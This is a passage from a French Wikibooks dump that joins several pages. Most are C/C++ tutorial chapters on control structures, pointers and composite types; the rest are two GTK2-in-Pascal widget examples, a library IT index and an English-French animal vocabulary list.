<nowiki> if (test) opération1; else opération2; </nowiki> </pre> Note : Attention ! Les parenthèses autour du test sont nécessaires ! Les opérateurs de comparaison sont les suivants : {| border=1 |+Opérateurs de comparaison |<nowiki>==</nowiki> |égalité |- |<nowiki>!=</nowiki> |inégalité |- |<nowiki><</nowiki> |infériorité |- |<nowiki>></nowiki> |supériorité |- |<nowiki><=</nowiki> |infériorité ou égalité |- |<nowiki>>=</nowiki> |supériorité ou égalité |} Les opérateurs logiques applicables aux expressions booléennes sont les suivants : {| border=1 |+Opérateurs logiques |<nowiki>&&</nowiki> |et logique |- |<nowiki>||</nowiki> |ou logique |- |<nowiki>!</nowiki> |négation logique |} Il n'y a pas d'opérateur ou exclusif logique. === Exemple - Test conditionnel if === <pre> <nowiki> if (a<b && a!=0) { m=a; nouveau_m=1; } </nowiki> </pre> Programmation C C plus plus La boucle for 2934 14484 2005-03-22T12:43:29Z Kiouk 197 Import {{Programmation C C plus plus Les structures de contrôle}} == La boucle for == La structure de contrôle ''for'' est sans doute l'une des plus importantes. Elle permet de réaliser toutes sortes de boucles et, en particulier, les boucles itérant sur les valeurs d'une variable de contrôle. Sa syntaxe est la suivante : <pre> <nowiki> for (initialisation ; test ; itération) opération; </nowiki> </pre> où ''initialisation'' est une instruction (ou un bloc d'instructions) exécutée avant le premier parcours de la boucle du ''for''. ''test'' est une expression dont la valeur déterminera la fin de la boucle. ''itération'' est l'opération à effectuer en fin de boucle, et ''opération'' constitue le traitement de la boucle. Chacune de ces parties est facultative. La séquence d'exécution est la suivante : <pre> <nowiki> initialisation test : saut en fin du for ou suite opération itération retour au test fin du for. </nowiki> </pre> === Exemple - Boucle for === <pre> <nowiki> somme = 0; for (i=0; i<=10; i=i+1) somme = somme + i; </nowiki> </pre> Note : En C++, il est possible que la partie ''initialisation'' déclare une variable. Dans ce cas, la variable déclarée n'est définie qu'à l'intérieur de l'instruction ''for.'' Par exemple, <pre> <nowiki> for (int i=0; i<10; ++i); </nowiki> </pre> est strictement équivalent à : <pre> <nowiki> { int i; for (i=0; i<10; ++i); } </nowiki> </pre> Cela signifie que l'on ne peut pas utiliser la variable ''i'' après l'instruction ''for'', puisqu'elle n'est définie que dans le corps de cette instruction. Cela permet de réaliser des variables muettes qui ne servent qu'à l'instruction ''for'' dans laquelle elles sont définies. Note : Cette règle n'est pas celle utilisée par la plupart des compilateurs C++. La règle qu'ils utilisent spécifie que la variable déclarée dans la partie ''initialisation'' de l'instruction ''for'' reste déclarée après cette instruction. La différence est subtile, mais importante. Cela pose assurément des problèmes de compatibilité avec les programmes C++ écrits pour ces compilateurs, puisque dans un cas la variable doit être redéclarée et dans l'autre cas elle ne le doit pas. Il est donc recommandé de ne pas déclarer de variables dans la partie ''initialisation'' des instructions ''for'' pour assurer une portabilité maximale. Programmation C C plus plus Le while 2935 14485 2005-03-22T12:46:51Z Kiouk 197 Import {{Programmation C C plus plus Les structures de contrôle}} == Le while == Le ''while'' permet d'exécuter des instructions en boucle tant qu'une condition est vraie. Sa syntaxe est la suivante : <pre> <nowiki> while (test) opération; </nowiki> </pre> où ''opération'' est effectuée tant que ''test'' est vérifié. Comme pour le ''if'', les parenthèses autour du ''test'' sont nécessaires. L'ordre d'exécution est : <pre> <nowiki> test opération </nowiki> </pre> === Exemple - Boucle while === <pre> <nowiki> somme = i = 0; while (somme<1000) { somme = somme + 2 * i / (5 + i); i = i + 1; } </nowiki> </pre> Programmation C C plus plus Le do 2936 14486 2005-03-22T14:21:42Z Kiouk 197 Import {{Programmation C C plus plus Les structures de contrôle}} == Le do == La structure de contrôle ''do'' permet, tout comme le ''while,'' de réaliser des boucles en attente d'une condition. Cependant, contrairement à celui-ci, le ''do'' effectue le test sur la condition après l'exécution des instructions. Cela signifie que les instructions sont toujours exécutées au moins une fois, que le test soit vérifié ou non. Sa syntaxe est la suivante : <pre> <nowiki> do opération; while (test); </nowiki> </pre> ''opération'' est effectuée jusqu'à ce que ''test'' ne soit plus vérifié. L'ordre d'exécution est : <pre> <nowiki> opération test </nowiki> </pre> === Exemple - Boucle do === <pre> <nowiki> p = i = 1; do { p = p * i; i = i + 1; } while (i != 10); </nowiki> </pre> Programmation C C plus plus Branchement conditionnel 2937 14487 2005-03-22T14:27:00Z Kiouk 197 Import {{Programmation C C plus plus Les structures de contrôle}} Dans le cas où plusieurs instructions différentes doivent être exécutées selon la valeur d'une variable de type intégral, l'écriture de ''if'' successifs peut être relativement lourde. Le C/C++ fournit donc la structure de contrôle ''switch'', qui permet de réaliser un branchement conditionnel. Sa syntaxe est la suivante : <pre> <nowiki> switch (valeur) { case cas1: [instruction; [break;] ] case cas2: [instruction; [break;] ] &vellip; case casN: [instruction; [break;] ] [default: [instruction; [break;] ] ] } </nowiki> </pre> ''valeur'' est évalué en premier. Son type doit être entier. Selon le résultat de l'évaluation, l'exécution du programme se poursuit au cas de même valeur. Si aucun des cas ne correspond et si ''default'' est présent, l'exécution se poursuit après ''default''. Si en revanche ''default'' n'est pas présent, on sort du ''switch''. Les instructions qui suivent le ''case'' approprié ou ''default'' sont exécutées. Puis, les instructions ''du cas suivant'' sont également exécutées (on ne sort donc pas du ''switch''). Pour forcer la sortie du ''switch'', on doit utiliser le mot clé ''break''. ===Exemple - Branchement conditionnel switch === <pre> <nowiki> i= 2; switch (i) { case 1: case 2: /* Si i=1 ou 2, la ligne suivante sera exécutée. */ i=2-i; break; case 3: i=0; /* Cette ligne ne sera jamais exécutée. */ default: break; } </nowiki> </pre> Note : Il est interdit d'effectuer une déclaration de variable dans un des ''case'' d'un ''switch''. BiblioTIC : l'informatique et l'Internet au service des bibliothèques 2938 43651 2006-05-31T18:31:47Z 164.131.224.225 [[Image:Nm toronto university of toronto library.jpg|thumb|right|250px|Bibliothèque de l'université de Toronto]] # [[Le matériel informatique des bibliothèques publiques]] # [[Le stockage et la sauvegarde des données]] # [[La sécurité en général]] # [[Les programmes informatiques des bibliothèques]] # [[Les réseaux informatiques en bibliothèque]] # [[Les systèmes de gestion de bases de données relationnels]] # [[Les systèmes de gestion intégrée de bibliothèques]] # [[L'informatique documentaire]] # [[L'informatisation des bibliothèques]] # [[Cédéroms et outils en ligne pour les bibliothèques]] # [[Les espaces publics numériques en biblothèque]] # [[Les animations autour de l'Internet]] # [[Aspects juridiques]] # [[Bibliothèques, éditeurs, librairies et livres numériques, électroniques, virtuels ou en ligne]] # [[Les wikis en bibliothèques]] # [[TIC et CDU]] # [[Les sites web des bibliothèques]] # [[Les livres sur l'Internet]] # [[Les visites de bibliothèques]] Image:Programmation GTK2 en Pascal - gtk040.png 2940 14490 2005-03-22T17:17:08Z Didier 186 Exemple du programme gtk040.pas. {{GFDL}} [[Utilisateur:Didier|Didier Halatre]]. Exemple du programme gtk040.pas. {{GFDL}} [[Utilisateur:Didier|Didier Halatre]]. Image:Programmation GTK2 en Pascal - gtk041.png 2941 14491 2005-03-22T17:18:19Z Didier 186 Exemple du programme gtk041.pas. {{GFDL}} [[Utilisateur:Didier|Didier Halatre]]. Exemple du programme gtk041.pas. {{GFDL}} [[Utilisateur:Didier|Didier Halatre]]. Programmation GTK2 en Pascal - GtkHSeparator 2942 14492 2005-03-22T17:20:10Z Didier 186 {{Programmation GTK2 en Pascal}} == Présentation == Le contrôle '''GtkHSeparator''' permet de dessiner une ligne horizontale entre des contrôles. === Hiérarchie === {| style="border:1px #D0E2EE solid; margin=5px 5px 5px 10px;" cellspacing="0" cellpadding="5" | style="text-align:center;background:#EAF5FB;" | Hiérarchie |- | [[Programmation GTK2 en Pascal - GObject|GObject]] └─[[Programmation GTK2 en Pascal - GtkObject|GtkObject]] └─[[Programmation GTK2 en Pascal - GtkWidget|GtkWidget]] └─[[Programmation GTK2 en Pascal - GtkSeparator|GtkSeparator]] └─[[Programmation GTK2 en Pascal - GtkHSeparator|GtkHSeparator]] |} == Utilisation de base == === Création === Ce contrôle n'a qu'une seule fonction : sa fonction de création : function gtk_hseparator_new : PGtkWidget; Il n'y a rien de plus à dire à propos de ce contrôle. == Programme exemple == Voilà le fichier <code>gtk040.pas</code> : program gtk040; uses glib2, gtk2; var pFenetre : PGtkWidget; pVBox : PGtkWidget; pLabel1 : PGtkWidget; pSeparateur : PGtkWidget; pLabel2 : PGtkWidget; begin gtk_init(@argc, @argv); pFenetre := gtk_window_new(GTK_WINDOW_TOPLEVEL); gtk_window_set_position(GTK_WINDOW(pFenetre), GTK_WIN_POS_CENTER); gtk_window_set_default_size(GTK_WINDOW(pFenetre), 320, 200); gtk_window_set_title(GTK_WINDOW(pFenetre), 'Gtk040 : Séparateur'); gtk_signal_connect(pGTKOBJECT(pFenetre), 'destroy', G_CALLBACK(@gtk_main_quit), NULL); // Création de la GtkVBox pVBox := gtk_vbox_new(FALSE, 5); gtk_container_add(GTK_CONTAINER(pFenetre), pVBox); // Création du label 1 pLabel1 := gtk_label_new('Label 1'); gtk_box_pack_start(GTK_BOX(pVBox), pLabel1, FALSE, FALSE, 0); // Création du séparateur pSeparateur := gtk_hseparator_new; gtk_box_pack_start(GTK_BOX(pVBox), pSeparateur, FALSE, FALSE, 0); // Création du label 2 pLabel2 := gtk_label_new('Label 2'); gtk_box_pack_start(GTK_BOX(pVBox), pLabel2, FALSE, FALSE, 0); gtk_widget_show_all(pFenetre); gtk_main; end. Voilà ce que donne l'exécution du programme <code>gtk040</code> : [[Image:Programmation GTK2 en Pascal - gtk040.png]] {{Programmation GTK2 en Pascal - Décoration}} [[Catégorie:Programmation GTK2 en Pascal|GtkHSeparator]] Programmation GTK2 en Pascal - GtkVSeparator 2943 14493 2005-03-22T17:21:18Z Didier 186 {{Programmation GTK2 en Pascal}} == Présentation == Le contrôle '''GtkVSeparator''' permet de dessiner une ligne verticale entre des contrôles. === Hiérarchie === {| style="border:1px #D0E2EE solid; margin=5px 5px 5px 10px;" cellspacing="0" cellpadding="5" | style="text-align:center;background:#EAF5FB;" | Hiérarchie |- | [[Programmation GTK2 en Pascal - GObject|GObject]] └─[[Programmation GTK2 en Pascal - GtkObject|GtkObject]] └─[[Programmation GTK2 en Pascal - GtkWidget|GtkWidget]] └─[[Programmation GTK2 en Pascal - GtkSeparator|GtkSeparator]] └─[[Programmation GTK2 en Pascal - GtkVSeparator|GtkVSeparator]] |} == Utilisation de base == === Création === Ce contrôle n'a qu'une seule fonction : sa fonction de création : function gtk_vseparator_new : PGtkWidget; Il n'y a rien de plus à dire à propos de ce contrôle. == Programme exemple == Voilà le fichier <code>gtk041.pas</code> : program gtk041; uses glib2, gtk2; var pFenetre : PGtkWidget; pHBox : PGtkWidget; pLabel1 : PGtkWidget; pSeparateur : PGtkWidget; pLabel2 : PGtkWidget; begin gtk_init(@argc, @argv); pFenetre := gtk_window_new(GTK_WINDOW_TOPLEVEL); gtk_window_set_position(GTK_WINDOW(pFenetre), GTK_WIN_POS_CENTER); gtk_window_set_default_size(GTK_WINDOW(pFenetre), 320, 200); gtk_window_set_title(GTK_WINDOW(pFenetre), 'Gtk041 : Séparateur'); gtk_signal_connect(pGTKOBJECT(pFenetre), 'destroy', G_CALLBACK(@gtk_main_quit), NULL); // Création de la GtkHBox pHBox := gtk_hbox_new(FALSE, 5); gtk_container_add(GTK_CONTAINER(pFenetre), pHBox); // Création du label 1 pLabel1 := gtk_label_new('Label 1'); gtk_box_pack_start(GTK_BOX(pHBox), pLabel1, FALSE, FALSE, 0); // Création du séparateur pSeparateur := gtk_vseparator_new; gtk_box_pack_start(GTK_BOX(pHBox), pSeparateur, FALSE, FALSE, 0); // Création du label 2 pLabel2 := gtk_label_new('Label 2'); gtk_box_pack_start(GTK_BOX(pHBox), pLabel2, FALSE, FALSE, 0); gtk_widget_show_all(pFenetre); gtk_main; end. Voilà ce que donne l'exécution du programme <code>gtk041</code> : [[Image:Programmation GTK2 en Pascal - gtk041.png]] {{Programmation GTK2 en Pascal - Décoration}} [[Catégorie:Programmation GTK2 en Pascal|GtkVSeparator]] Programmation C C plus plus Le saut 2944 14494 2005-03-22T17:36:30Z Kiouk 197 {{Programmation C C plus plus Les structures de contrôle}} == Le saut == Le C/C++ dispose d'une instruction de saut permettant de poursuivre l'exécution du programme en un autre point. Bien qu'il soit fortement déconseillé de l'utiliser, cette instruction est nécessaire et peut parfois être très utile, notamment dans les traitements d'erreurs. Sa syntaxe est la suivante : goto étiquette; où ''étiquette'' est une étiquette marquant la ligne destination dans la fonction. Les étiquettes sont simplement déclarées avec la syntaxe suivante : étiquette: Les étiquettes peuvent avoir n'importe quel nom d'identificateur. Il n'est pas possible d'effectuer des sauts en dehors d'une fonction. En revanche, il est possible d'effectuer des sauts en dehors et à l'intérieur des blocs d'instructions sous certaines conditions. Si la destination du saut se trouve après une déclaration, cette déclaration ne doit pas comporter d'initialisations. De plus, ce doit être la déclaration d'un type simple (c'est-à-dire une déclaration qui ne demande pas l'exécution de code) comme les variables, les structures ou les tableaux. Enfin, si, au cours d'un saut, le contrôle d'exécution sort de la portée d'une variable, celle-ci est détruite. Note : Ces dernières règles sont particulièrement importantes en C++ si la variable est un objet dont la classe a un constructeur ou un destructeur non trivial. Voir le [[Programmation_C_C_plus_plus_La_couche_objet|chapitre sur la couche objet]] pour plus de détails à ce sujet. Autre règle spécifique au C++ : il est impossible d'effectuer un saut à l'intérieur d'un bloc de code en exécution protégée try {}. Voir aussi le [[Programmation_C_C_plus_plus_Les_exceptions|chapitre sur les exeptions]]. Programmation C C plus plus Rupture de séquence 2945 14495 2005-03-22T17:40:52Z Kiouk 197 Import {{Programmation C C plus plus Les structures de contrôle}} == Les commandes de rupture de séquence == En plus du ''goto'' vu précédemment, il existe d'autres commandes de ''rupture de séquence'' (c'est-à-dire de changement de la suite des instructions à exécuter). Ces commandes sont les suivantes : continue; ou break; ou return [valeur]; ''return'' permet de quitter immédiatement la fonction en cours. Comme on l'a déjà vu, la commande ''return'' peut prendre en paramètre la valeur de retour de la fonction. ''break'' permet de passer à l'instruction suivant l'instruction ''while'', ''do'', ''for'' ou ''switch'' la plus imbriquée (c'est-à-dire celle dans laquelle on se trouve). ''continue'' saute directement à la dernière ligne de l'instruction ''while'', ''do'' ou ''for'' la plus imbriquée. Cette ligne est l'accolade fermante. C'est à ce niveau que les tests de continuation sont faits pour ''for'' et ''do'', ou que le saut au début du ''while'' est effectué (suivi immédiatement du test). On reste donc dans la structure dans laquelle on se trouvait au moment de l'exécution de ''continue'', contrairement à ce qui se passe avec le ''break''. === Exemple - Rupture de séquence par continue === <pre> <nowiki> /* Calcule la somme des 1000 premiers entiers pairs : */ somme_pairs=0; for (i=0; i<1000; i=i+1) { if (i % 2 == 1) continue; somme_pairs=somme_pairs + i; } </nowiki> </pre> Anglais : Animals, les animaux 2948 46432 2006-06-29T02:02:31Z 69.70.144.5 /* a bird : ''un oiseau'' */ == domestic animals : ''les animaux domestiques''; pets : ''les animaux familiers''== a dog : ''un chien''<br />a cat : ''un chat''<br />a goldfish : ''un poisson rouge''<br />a guinea pig : ''un cochon d'Inde / cobaye''<br />a rabbit : ''un lapin''<br />a mouse : ''une souris''<br />a parrot : ''un perroquet'' __NOTOC__ == the cattle : ''le bétail''== a cow : ''une vache''<br />a bull : ''un taureau''<br />an ox (pl. two oxen) : ''un boeuf''<br />a calf : ''un veau''<br />a sheep (pl. two sheep) : un mouton<br />an ewe : ''une brebis''<br />a lamb : ''un agneau''<br />a goat : ''une chèvre''<br />a pig : ''un porc''<br />the sow : ''la truie''<br />a horse : ''un cheval''<br />a mare : ''une jument''<br />a chicken : ''un poulet''<br />a hen : ''une poule''<br /> a duck : ''un canard''<br />a goose (pl. geese) : ''une oie''<br /> == Wild animals : ''les animaux sauvages''== a bear : ''un ours''<br />a camel : ''un chameau''<br />a zebra : ''un zèbre''<br />an elephant : ''un éléphant''<br />a tiger : ''un tigre''<br />a panther : ''une panthère''<br />a lion : ''un lion''<br />a leopard : ''un léopard''<br />a monkey : ''un singe''<br />a giraffe : ''une girafe''<br />a hippopotamus : ''l'hippopotame''<br />a rhinoceros : ''un rhinocéros''<br />a snake : ''un serpent''a pheasant : ''a faisan''<br />a hind : ''une biche''<br />a deer : ''un cerf'' == a bird : ''un oiseau''== an eagle : ''un aigle''<br />a blackbird : ''un merle''<br />a swallow : ''une hirondelle''<br />a sparrow : ''un moineau''<br />a raven : ''un corbeau''<br />a nightingale : ''un rossignol''<br />a robin-redbreast : ''un rouge-gorge''<br />a thrush : ''une grive''<br />a magpie : ''une pie''<br />a hummingbird: <i>un colibri</i> == a fish : ''un poisson'' == a shark : ''un requin''<br />a whale : ''une baleine''<br />an octopus : ''une pieuvre''<br />a swordfish : ''un espadon''<br />a trout : ''une truite''<br />a catfish : ''une barbotte'' == Application == [[Anglais:Vocabulaire_animaux_test|Test de vocabulaire]] <br />Retour [[Enseignement de l'anglais]] Modèle:Programmation C C plus plus Types avancés 2950 14498 2005-03-22T20:34:28Z Kiouk 197 Création {{En cours de copie|site=http://casteyde.christian.free.fr/online/cours_cpp/|licence=[[GFDL]]}} {| style="float:right;border:thin black solid;width:200px;" | colspan="2" style="text-align:center;font-weight:bold;" | Cours de C/C++ |- | colspan="2" style="text-align:center;"| [[Programmation C C plus plus Le langage|^]] |- | colspan="2" | [[Programmation C C plus plus Types avancés|Types avancés]] |- | style="width:20px;" | || [[Programmation C C plus plus Structures et types|Structures et types]] |- | style="width:20px;" | || [[Programmation C C plus plus Classes de stockage|Classes de stockage]] |- | colspan="2" style="text-align:right;" | [http://casteyde.christian.free.fr/online/cours_cpp/book1.html Livre original de C. Casteyde] |} Programmation C C plus plus Types avancés 2951 14499 2005-05-06T07:24:18Z 83.205.178.192 /* Parlons d abord de Pointeurs */ {{Programmation C C plus plus Les pointeurs et références}} == Les pointeurs et références == Les pointeurs sont des variables très utilisées en C et en C++. Ils doivent être considérés comme des variables, il n'y a rien de sorcier derrière les pointeurs. Cependant, les pointeurs ont un domaine d'application très vaste. Les références sont des identificateurs synonymes d'autres identificateurs, qui permettent de manipuler certaines notions introduites avec les pointeurs plus souplement. Elles n'existent qu'en C++. ==Parlons d abord de Pointeurs == Voici un exemple de pointeurs, int * pp; signifie que pp est une variable qui contient un pointeur vers un entier, ou encore contient l'adresse d'une nombre entier. On peut se poser la question, pour preciser le type pointé, ici int ( entier), simplement par ce que le systeme fait des calculs d adresse et doit connaitre le deplacement a faire pour trouver l element suivant. Regardons la differences entre les codes suivants : double nbReel[4]= { 10.5, 17.5, 23, 56}; int nbEnt [4] = { 5, 6, 9, 44}; double * nb1 ; int * nb2; nb1 = nbReel; nb2 = nbEnt; Ici nb1 recoit l adresse du tableau nbReel, qu on peut aussi ecrire nb1 = &nbReel[0] nb1 + 1 est l addresse du suivant , c est a dire de nbReel[1], pour se fixer les idees, supposons que le tableau nbReel est implementer en memoire a l adresse 1200, qui est donc l adresse de nbReel[0], alors l adresse de nbReel[1] est 1208 ( ou encore nb1+1 est 1208), on ajoute 8, parce que la taille d'un nombre "double" est 8 octets (bytes). maintenant suppososn que l'adresse de nbEnt[0] ( meme chose que nbEnt) soit 2200 alors adresse de nbEnt[1] est 2204, car la taille d'un entier est 4 octets. c est a dire nb2 + 1 est 2204. De plus maintenant que le pointeur nb1 contient l'adresse de debut de zone nbReel, on peut acceder a n iporte quel element du tableau NbReel avec le pointeur nb1, par exemple : *nb1 represente l'objet pointe par nb1, c est a dire valeur 10.5. Et *(nb1+1) represente l'objet pointe par nb1 +1, c est a dire valeur suivante : 17.5. Attention a la parenthese !!! *nb1 + 1 : veut dire on ajoute 1 à l'objet pointe par nb1 (on ajoute 1 au nombre reel 10.5 : ce qui donne 11.5). Programmation C C plus plus Structures et types 2955 14500 2005-03-22T21:28:09Z Kiouk 197 {{Programmation C C plus plus Types avancés}} == Structures de données et types complexes == En dehors des types de variables simples, le C/C++ permet de créer des types plus complexes. Ces types comprennent essentiellement les structures, les unions et les énumérations, mais il est également possible de définir de nouveaux types à partir de ces types complexes. === Les structures === Les types complexes peuvent se construire à l'aide de ''structures''. Pour cela, on utilise le mot clé ''struct''. Sa syntaxe est la suivante : <pre> <nowiki> struct [nom_structure] { type champ; [type champ; [...]] }; </nowiki> </pre> Il n'est pas nécessaire de donner un nom à la structure. La structure contient plusieurs autres variables, appelées ''champs''. Leur type est donné dans la déclaration de la structure. Ce type peut être n'importe quel autre type, même une structure. La structure ainsi définie peut alors être utilisée pour définir une variable dont le type est cette structure. Pour cela, deux possibilités : * faire suivre la définition de la structure par l'identificateur de la variable ; ==== Exemple - Déclaration de variable de type structure ==== <pre> <nowiki> struct Client { unsigned char Age; unsigned char Taille; } Jean; </nowiki> </pre> ou, plus simplement : <pre> <nowiki> struct { unsigned char Age; unsigned char Taille; } Jean; </nowiki> </pre> Dans le deuxième exemple, le nom de la structure n'est pas mis. * déclarer la structure en lui donnant un nom, puis déclarer les variables avec la syntaxe suivante : <pre> <nowiki> [struct] nom_structure identificateur; </nowiki> </pre> ==== Exemple - Déclaration de structure ==== <pre> <nowiki> struct Client { unsigned char Age; unsigned char Taille; }; struct Client Jean, Philippe; Client Christophe; // Valide en C++ mais invalide en C </nowiki> </pre> Dans cet exemple, le nom de la structure doit être mis, car on utilise cette structure à la ligne suivante. Pour la déclaration des variables ''Jean'' et ''Philippe'' de type struct Client, le mot clé ''struct'' a été mis. Cela n'est pas nécessaire en C++, mais l'est en C. Le C++ permet donc de déclarer des variables de type structure exactement comme si le type structure était un type prédéfini du langage. La déclaration de la variable ''Christophe'' ci-dessus est invalide en C. Les éléments d'une structure sont accédés par un point, suivi du nom du champ de la structure à accéder. Par exemple, l'âge de ''Jean'' est désigné par ''Jean.Age''. Note : Le typage du C++ est plus fort que celui du C, parce qu'il considère que deux types ne sont identiques que s'ils ont le même nom. Alors que le C considère que deux types qui ont la même structure sont des types identiques, le C++ les distingue. Cela peut être un inconvénient, car des programmes qui pouvaient être compilés en C ne le seront pas forcément par un compilateur C++. Considérons l'exemple suivant : <pre> <nowiki> int main(void) { struct st1 { int a; } variable1 = {2}; struct { int a; } variable2; /* variable2 a exactement la même structure que variable1, */ variable2 = variable1; /* mais cela est ILLÉGAL en C++ ! */ return 0; } </nowiki> </pre> Bien que les deux variables aient exactement la même structure, elles sont de type différents ! En effet, ''variable1'' est de type « st1 », et ''variable2'' de type « » (la structure qui a permis de la construire n'a pas de nom). On ne peut donc pas faire l'affectation. Pourtant, ce programme était compilable en C pur... Note : Il est possible de ne pas donner de nom à une structure lors de sa définition sans pour autant déclarer une variable. De telles structures anonymes ne sont utilisables que dans le cadre d'une structure incluse dans une autre structure : <pre> <nowiki> struct struct_principale { struct { int champ1; }; int champ2; }; </nowiki> </pre> Dans ce cas, les champs des structures imbriquées seront accédés comme s'il s'agissait de champs de la structure principale. La seule limitation est que, bien entendu, il n'y ait pas de conflit entre les noms des champs des structures imbriquées et ceux des champs de la structure principale. S'il y a conflit, il faut donner un nom à la structure imbriquée qui pose problème, en en faisant un vrai champ de la structure principale. === Les unions === Les ''unions'' constituent un autre type de structure. Elles sont déclarées avec le mot clé ''union'', qui a la même syntaxe que ''struct''. La différence entre les structures et les unions est que les différents champs d'une union occupent le même espace mémoire. On ne peut donc, à tout instant, n'utiliser qu'un des champs de l'union. ==== Exemple - Déclaration d'une union ==== <pre> <nowiki> union entier_ou_reel { int entier; float reel; }; union entier_ou_reel x; </nowiki> </pre> x peut prendre l'aspect soit d'un entier, soit d'un réel. Par exemple : x.entier=2; affecte la valeur 2 à x.entier, ce qui détruit x.reel. Si, à présent, on fait : x.reel=6.546; la valeur de ''x.entier'' est perdue, car le réel 6.546 a été stocké au même emplacement mémoire que l'entier ''x.entier''. Les unions, contrairement aux structures, sont assez peu utilisées, sauf en programmation système où l'on doit pouvoir interpréter des données de différentes manières selon le contexte. Dans ce cas, on aura avantage à utiliser des unions de structures anonymes et à accéder aux champs des structures, chaque structure permettant de manipuler les données selon une de leurs interprétations possibles. ==== Exemple - Union avec discriminant ==== <pre> <nowiki> struct SystemEvent { int iEventType; /* Discriminant de l'événement. Permet de choisir comment l'interpréter. */ union { struct { /* Structure permettant d'interpréter */ int iMouseX; /* les événements souris. */ int iMouseY; }; struct { /* Structure permettant d'interpréter */ char cCharacter; /* les événements clavier. */ int iShiftState; }; /* etc. */ }; }; /* Exemple d'utilisation des événements : */ int ProcessEvent(struct SystemEvent e) { int result; switch (e.iEventType) { case MOUSE_EVENT: /* Traitement de l'événement souris... */ result = ProcessMouseEvent(e.iMouseX, e.iMouseY); break; case KEYBOARD_EVENT: /* Traitement de l'événement clavier... */ result = ProcessKbdEvent(e.cCharacter, e.iShiftState); break; } return result; } </nowiki> </pre> === Les énumérations === Les ''énumérations'' sont des types ''intégraux'' (c'est-à-dire qu'ils sont basés sur les entiers), pour lesquels chaque valeur dispose d'un nom unique. Leur utilisation permet de définir les constantes entières dans un programme et de les nommer. La syntaxe des énumérations est la suivante : <pre> <nowiki> enum enumeration { nom1 [=valeur1] [, nom2 [=valeur2] [...]] }; </nowiki> </pre> Dans cette syntaxe, ''enumeration'' représente le nom de l'énumération et ''nom1'', ''nom2'', etc. représentent les noms des énumérés. Par défaut, les énumérés reçoivent les valeurs entières 0, 1, etc. sauf si une valeur explicite leur est donnée dans la déclaration de l'énumération. Dès qu'une valeur est donnée, le compteur de valeurs se synchronise avec cette valeur, si bien que l'énuméré suivant prendra pour valeur celle de l'énuméré précédent augmentée de 1. ==== Exemple - Déclaration d'une énumération ==== <pre> <nowiki> enum Nombre { un=1, deux, trois, cinq=5, six, sept }; </nowiki> </pre> Dans cet exemple, les énumérés prennent respectivement leurs valeurs. Comme <pre>quatre</pre> n'est pas défini, une resynchronisation a lieu lors de la définition de <pre>cinq</pre>. Les énumérations suivent les mêmes règles que les structures et les unions en ce qui concerne la déclaration des variables : on doit répéter le mot clé ''enum'' en C, ce n'est pas nécessaire en C++. === Les champs de bits === Il est possible de définir des ''champs de bits'' et de donner des noms aux bits de ces champs. Pour cela, on utilisera le mot clé ''struct'' et on donnera le type des groupes de bits, leurs noms, et enfin leurs tailles : ==== Exemple - Déclaration d'un champs de bits ==== <pre> <nowiki> struct champ_de_bits { int var1; /* Définit une variable classique. */ int bits1a4 : 4; /* Premier champ : 4 bits. */ int bits5a10 : 6; /* Deuxième champ : 6 bits. */ unsigned int bits11a16 : 6; /* Dernier champ : 6 bits. */ }; </nowiki> </pre> La taille d'un champ de bits ne doit pas excéder celle d'un entier. Pour aller au-delà, on créera un deuxième champ de bits. La manière dont les différents groupes de bits sont placés en mémoire dépend du compilateur et n'est pas normalisée. Les différents bits ou groupes de bits seront tous accessibles comme des variables classiques d'une structure ou d'une union : <pre> <nowiki> struct champ_de_bits essai; int main(void) { essai.bits1a4 = 3; /* suite du programme */ return 0; } </nowiki> </pre> === Initialisation des structures et des tableaux === Les tableaux et les structures peuvent être initialisées, tout comme les types classiques peuvent l'être. La valeur servant à l'initialisation est décrite en mettant les valeurs des membres de la structure ou du tableau entre accolades et en les séparant par des virgules : ==== Exemple - Initialisation d'une structure ==== <pre> <nowiki> /* Définit le type Client : */ struct Client { unsigned char Age; unsigned char Taille; unsigned int Comptes[10]; }; /* Déclare et initialise la variable John : */ struct Client John={35, 190, {13594, 45796, 0, 0, 0, 0, 0, 0, 0, 0}}; </nowiki> </pre> La variable ''John'' est ici déclarée comme étant de type Client et initialisée comme suit : son âge est de 35, sa taille de 190 et ses deux premiers comptes de 13594 et 45796. Les autres comptes sont nuls. Il n'est pas nécessaire de respecter l'imbrication du type complexe au niveau des accolades, ni de fournir des valeurs d'initialisations pour les derniers membres d'un type complexe. Les valeurs par défaut qui sont utilisées dans ce cas sont les valeurs nulles du type du champ non initialisé. Ainsi, la déclaration de John aurait pu se faire ainsi : struct Client John={35, 190, 13594, 45796}; Note : La norme C99 fournit également une autre syntaxe plus pratique pour initialiser les structures. Cette syntaxe permet d'initialiser les différents champs de la structure en les nommant explicitement et en leur affectant directement leur valeur. Ainsi, avec cette nouvelle syntaxe, l'initialisation précédente peut être réalisée de la manière suivante : ==== Exemple - Initialisation de structure C99 ==== <pre> <nowiki> /* Déclare et initialise la variable John : */ struct Client John={ .Taille = 190, .Age = 35, .Comptes[0] = 13594, .Comptes[1] = 45796 }; </nowiki> </pre> On constatera que les champs qui ne sont pas explicitement initialisés sont, encore une fois, initialisés à leur valeur nulle. De plus, comme le montre cet exemple, il n'est pas nécessaire de respecter l'ordre d'apparition des différents champs dans la déclaration de la structure pour leur initialisation. Il est possible de mélanger les deux syntaxes. Dans ce cas, les valeurs pour lesquelles aucun nom de champ n'est donné seront affectées au champs suivants le dernier champ nommé. De plus, si plusieurs valeurs différentes sont affectées au même champ, seule la dernière valeur indiquée sera utilisée. Cette syntaxe est également disponible pour l'initialisation des tableaux. Dans ce cas, on utilisera les crochets directement, sans donner le nom du tableau (exactement comme l'initialisation des membres de la structure utilise directement le point, sans donner le nom de la structure en cours d'initialisation). On notera toutefois que cette syntaxe n'est pas disponible en C++. Avec ce langage, il est préférable d'utiliser la notion de classe et de définir un constructeur. Les notions de classe et de constructeur seront présentées plus en détails dans le Chapitre 8. C'est l'un des rares points syntaxiques où il y a incompatibilité entre le C et le C++. === Les alias de types === Le C/C++ dispose d'un mécanisme de création d'''alias'', ou de synonymes, des types complexes. Le mot clé à utiliser est ''typedef''. Sa syntaxe est la suivante : typedef définition alias; où ''alias'' est le nom que doit avoir le synonyme du type et ''définition'' est sa définition. Pour les tableaux, la syntaxe est particulière : typedef type_tableau type[(taille)]([taille](...)); ''type_tableau'' est alors le type des éléments du tableau. ==== Exemple - Définition de type simple ==== typedef unsigned int mot; mot est strictement équivalent à unsigned int. ==== Exemple - Définition de type tableau ==== typedef int tab[10]; tab est le synonyme de « tableau de 10 entiers ». ==== Exemple - Définition de type structure ==== <pre> 